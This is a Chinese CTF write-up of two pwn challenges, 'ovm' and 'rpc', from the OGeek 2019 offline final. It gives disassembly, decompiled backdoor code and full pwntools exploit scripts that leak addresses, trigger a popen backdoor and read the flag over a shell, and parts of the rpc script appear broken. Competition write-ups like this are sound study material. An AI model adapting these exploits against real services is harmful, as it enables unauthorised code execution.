# OGeek CTF 2019 线下决赛 pwn 题解

## ovm

``````;// reg[three_byte] = memory[reg[one_byte]];
loc_EEE:
movzx   ecx, [rbp+three_byte]
movzx   edx, [rbp+one_byte]
lea     rax, reg
movsxd  rdx, edx
mov     edx, [rax+rdx*4]
lea     rax, memory
movsxd  rdx, edx
mov     eax, [rax+rdx*4]
mov     esi, eax
lea     rax, reg
movsxd  rdx, ecx
mov     [rax+rdx*4], esi
jmp     loc_1205``````

``````;// reg[three_byte] = stack[--reg[13]];     // stack
loc_F95:
movzx   ecx, [rbp+three_byte]
lea     rax, reg
mov     eax, [rax+34h]
lea     edx, [rax-1]
lea     rax, reg
mov     [rax+34h], edx
lea     rax, reg
mov     edx, [rax+34h]
lea     rax, stack
movsxd  rdx, edx
mov     eax, [rax+rdx*4]
mov     esi, eax
lea     rax, reg
movsxd  rdx, ecx
mov     [rax+rdx*4], esi
jmp     loc_1205``````

``````;// memory[reg[one_byte]] = reg[three_byte];
loc_F24:
movzx   edx, [rbp+one_byte]
lea     rax, reg
movsxd  rdx, edx
mov     ecx, [rax+rdx*4]
movzx   edx, [rbp+three_byte]
lea     rax, reg
movsxd  rdx, edx
mov     eax, [rax+rdx*4]
mov     esi, eax
lea     rax, memory
movsxd  rdx, ecx
mov     [rax+rdx*4], esi
jmp     loc_1205``````

``````;// v1 = reg[13];
;// reg[13] = v1 + 1;
;// stack[v1] = reg[three_byte];
loc_F5A:
lea     rax, reg
mov     eax, [rax+34h]
lea     ecx, [rax+1]
lea     rdx, reg
mov     [rdx+34h], ecx
movzx   ecx, [rbp+three_byte]
lea     rdx, reg
movsxd  rcx, ecx
mov    edx , [rdx+rcx*4]
mov     ecx, edx
lea     rdx, stack
cdqe
mov     [rdx+rax*4], ecx
jmp     loc_1205``````

``````#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip  all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'error'
execve_file = './ovm'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)

# host = '10.0.%s.2' % sys.argv[1]
# sh = remote(host, 10990)
# elf = ELF(execve_file)
# # libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
# b execute
# b fetch
b sendcomment
b *\$rebase(0xF24)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass

def main(id):
host = '10.0.%s.2' % id
sh = remote(host, 10990)
sh.sendlineafter('PC: ', '2')
sh.sendlineafter('SP: ', '0')
layout = [ # 1098
u32((p8(0x10)+p8(0)+p8(0)+p8(8))[::-1]) ,
u32((p8(0x10)+p8(1)+p8(1)+p8(0xff))[::-1]) ,
u32((p8(0xc0)+p8(2)+p8(1)+p8(0))[::-1]) ,
u32((p8(0x70)+p8(2)+p8(1)+p8(2))[::-1]) ,

u32((p8(0xc0)+p8(2)+p8(2)+p8(0))[::-1]) ,
u32((p8(0x70)+p8(2)+p8(1)+p8(2))[::-1]) ,

u32((p8(0xc0)+p8(2)+p8(2)+p8(0))[::-1]) ,
u32((p8(0x10)+p8(1)+p8(2)+p8(0xc6))[::-1]) ,
u32((p8(0x70)+p8(2)+p8(1)+p8(2))[::-1]) ,

u32((p8(0x30)+p8(9)+p8(1)+p8(2))[::-1]) ,

u32((p8(0x10)+p8(1)+p8(2)+p8(1))[::-1]) ,
u32((p8(0x70)+p8(2)+p8(1)+p8(2))[::-1]) ,

u32((p8(0x30)+p8(10)+p8(1)+p8(2))[::-1]) ,

u32((p8(0x10)+p8(1)+p8(5)+p8(0x10))[::-1]) ,
u32((p8(0xc0)+p8(5)+p8(1)+p8(0))[::-1]) ,
u32((p8(0x10)+p8(1)+p8(5)+p8(0x98))[::-1]) ,
u32((p8(0x70)+p8(5)+p8(1)+p8(5))[::-1]) ,

u32((p8(0x70)+p8(9)+p8(9)+p8(5))[::-1]) ,

u32((p8(0x10)+p8(1)+p8(5)+p8(49))[::-1]) ,
u32((p8(0x70)+p8(2)+p8(2)+p8(1))[::-1]) ,

u32((p8(0x40)+p8(9)+p8(1)+p8(2))[::-1]) ,

u32((p8(0x10)+p8(1)+p8(2)+p8(1))[::-1]) ,
u32((p8(0x70)+p8(2)+p8(1)+p8(2))[::-1]) ,

u32((p8(0x40)+p8(10)+p8(1)+p8(2))[::-1]) ,

u32((p8(0xff)+p8(0)+p8(0)+p8(0xff))[::-1]),
]
sh.sendlineafter('CODE SIZE: ', str(len(layout)))
sh.recvuntil('CODE: ')

# pause()
for v in layout:
sh.sendline(str(v))
sh.recvuntil('R9: ')
low_byte = int(sh.recvuntil('\n'), 16)
sh.recvuntil('R10: ')
high_byte = int(sh.recvuntil('\n'), 16)

system_addr = high_byte * 0x100000000 + low_byte - 0x39e4a0

sh.sendline('cat flag')
sh.recvuntil('\x00By')
return sh.recvuntil('\n')

if __name__ == "__main__":
host = '10.0.%s.2' % sys.argv[1]
print(main(sys.argv[1]))   ``````

## rpc

``````void __fastcall back_door(int a1)
{
...
sub_20D7((__int64)v4, 0x24u);
if ( (unsigned int)sub_213D((__int64)v4, (const char *)patched_keys) != 0 )
{
write(1, "RPCN", 0xCuLL);
}
else
{
v2 = (s[1] << 16) + s[3] + (s[2] << 8) + (*s << 24);
if ( v2 <= 0x16 )
{
v7 = (char *)malloc(0x32uLL);
memset(v7, 0, 0x32uLL);
stream = popen(command, "r");
if ( stream != 0LL )
{
fgets(v7, 50, stream);
v1 = strlen(v7);
write(1, v7, v1);
pclose(stream);
}
...
}``````

``````__int64 __fastcall sub_1AEC(signed int *a1)
{
char *buf; // [rsp+18h] [rbp-58h]
char v3; // [rsp+20h] [rbp-50h]
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

printf("%s", buf);
return 0LL;
}``````

### 思路

``````#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip  all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './rpc'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *\$rebase(0x213D)
b *\$rebase(0x22F4)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass

def reverse_int(value): return p32(value, endian = 'big')
def reverse_size_t(value): return p64(value, endian = 'big')

# pause()
sh.send('RPCM')
sh.send(reverse_int(0))
sh.send(reverse_int(1))

sh.recvuntil('\xbe\xf2')
uuid = sh.recvn(u32(sh.recvn(4), endian = 'big'))
log.success('uuid: ' + (uuid))

# malloc
packet = reverse_int(0x2) + reverse_int(0) + reverse_int(0x8) + 'a' * 8
sh.send('RPCM')
sh.send(reverse_int(32))
sh.send(reverse_int(5))
sh.send(packet)
sh.recvuntil('\xbe\xef')

sh.send('RPCM')
sh.send(reverse_int(8 + len(uuid) + 28))
sh.send(reverse_int(5))
packet = reverse_int(0x3) + reverse_int(len(uuid)) + uuid + reverse_int(0x8) + 'b' * 8 +reverse_int(0)
sh.send(packet)
sh.recvuntil('\xbe\xef')

# leak
sh.send('RPCM')
sh.send(reverse_int(8 + len(uuid) + 20))
sh.send(reverse_int(2))
packet = reverse_int(len(uuid)) + uuid + reverse_int(0x8) + 'b' * 8
sh.send(packet)
sh.recvuntil('\xbe\xf2')
result = sh.recvn(u32(sh.recvn(4), endian = 'big'))
heap_addr = int(result, 10) - 0x12c90

# set ptr
sh.send('RPCM')
sh.send(reverse_int(28))
sh.send(reverse_int(5))
packet = reverse_int(4) + reverse_int(0) + reverse_size_t(addr)
sh.send(packet)
sh.recvuntil('\xbe\xef')

sh.send('RPCM')
sh.send(reverse_int(8 + len(uuid) + 28))
sh.send(reverse_int(5))
packet = reverse_int(0x1) + reverse_int(len(uuid)) + uuid + reverse_int(0x8) + 'c' * 8 +reverse_int(0)
sh.send(packet)
sh.recvuntil('\xbe\xef')

# leak
sh.send('RPCM')
sh.send(reverse_int(8 + len(uuid) + 20))
sh.send(reverse_int(2))
packet = reverse_int(len(uuid)) + uuid + reverse_int(0x8) + 'c' * 8
sh.send(packet)
sh.recvuntil('\xbe\xf2')
return sh.recvn(u32(sh.recvn(4), endian = 'big'))

image_base_addr = u64(result.ljust(8, '\0')) - 0x20cc58

def sub_1E02(arg_buf):
import ctypes
out = [v for v in range(256)]
temp_buf = [ord(v) for v in arg_buf] * 0x10
v6 = 0
for j in range(256):
v6 = (v6 + out[j] + temp_buf[j]) & 0xff
v3 = out[j]
out[j] = out[v6]
out[v6] = v3

return out

def sub_1FA0(arg_1):
patched_key = [0xFB, 0x60, 0xBB, 0x8C, 0x67, 0x76, 0x19, 0xB6, 0xAE, 0x9B, 0x17, 0x7C, 0xB1, 0x3D, 0xBB, 0x80,
0x26, 0xF0, 0x0E, 0x9F, 0x04, 0xD2, 0xC6, 0x5D, 0xFE, 0x79, 0x2F, 0xCE, 0x28, 0xA7, 0xFF, 0xE0,
0xC2, 0xBB, 0xC5, 0xF2]
v5 = 0
v6 = 0
out = []

for i in range(0x24):
v5 = (v5 + 1) & 0xff
v6 = (arg_1[v5] + v6) & 0xff
v3 = arg_1[v5]
arg_1[v5] = arg_1[v6]
arg_1[v6] = v3
out += [arg_1[(arg_1[v5] + arg_1[v6]) & 0xff] ^ patched_key[i]]

out = [chr(v) for v in out]
return ''.join(out)

result = sub_1E02(random_buf)
key = sub_1FA0(result)

# backdoor
sh.send('RPCM')
sh.send(reverse_int(0))
sh.send(reverse_int(6))
sh.send(reverse_int(0x24))
sh.send(key)
sh.send(reverse_int(0x16))
sh.sendline('cat flag')

sh.interactive()
clear()``````